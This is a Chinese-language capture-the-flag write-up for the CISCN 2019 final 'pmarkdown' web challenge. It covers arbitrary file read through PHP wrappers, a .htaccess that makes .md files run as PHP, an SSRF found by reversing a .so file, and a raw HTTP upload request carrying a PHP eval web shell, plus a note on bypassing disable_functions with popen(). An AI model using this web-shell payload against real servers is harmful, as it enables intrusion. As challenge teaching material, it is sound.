@Author: Patrilic
@Time: 2019-07-18 11:20:33

比赛的时候熬了一万年,只看到了一个本地请求,都不知道这个ssrf怎么利用,哎,还是要好好学逆向(吐血)

题目信息

题目链接:http://web65.buuoj.cn/ (推一手北联合师傅的平台)
题目源码:https://github.com/imagemlt/CISCN_2019_final_pmarkdown.git

Write up

上传文件显示只能localhost上传,并且使用$SERVER[‘Remote-addr’]来获取ip
感觉只能采用ssrf之类的方式去上传文件,但是一直没get到点

http://web65.buuoj.cn/index.php?act=post&md=readme.md
md参数存在任意文件读取,可以利用php伪协议读源码
7d9e6b80be391556be25e272dcb649f8

然而并没有什么用,比赛的时候就一直卡在这里。
一直在想怎么去绕过,然后比赛给了提示:

1
2
1. SSRF
2. .htaccess

.htaccess可以看到他让.md格式解析成了php
25da9c8a3e1d8a088353b5d55747884a

但是ssrf又怎么去看呢,源码里肯定没有,问题应该出在.so文件里
post.php里调用了 pmark_include() 函数
7f5b593808f423764660307f15744e2a

而在readme.md里是能把so文件下下来的
打开IDA分析一波

sub_1850里存在一个Http包,会以127.0.0.1的身份去request
0bb9f4775d2531e018e23f72e2803950

往上找调用
53e4cf1d179c5eb62ff8d33bc810f35d
361977c811b801c48c5a73dd4e2c51a8
33f0b7885e41503a3a65a1ec8ddb08f2

1
int zend_hash_find ( HashTable* ht, char* arKey, uint nKeyLength, void** pData )

v15: debug

参数为debug,利用ssrf上传即可

所以可以直接构造payload:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
POST /upload.php HTTP/1.1
Host: 127.0.0.1:8080
User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10.13; rv:66.0) Gecko/20100101 Firefox/66.0
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8
Accept-Language: zh,en-US;q=0.7,en;q=0.3
Referer: http://127.0.0.1:8080/index.php?act=upload
Content-Type: multipart/form-data; boundary=---------------------------6693638881479522630623693797
Content-Length: 244
Connection: close
Upgrade-Insecure-Requests: 1

-----------------------------6693638881479522630623693797
Content-Disposition: form-data; name="file"; filename="test.php"
Content-Type: text/php

<?php
eval($_REQUEST[a]);

-----------------------------6693638881479522630623693797--

利用popen()绕过disabled_function
6107013d4772477cccc8e3fa7092f23b

ae389cb740da2a425e80d4d3a9b8d851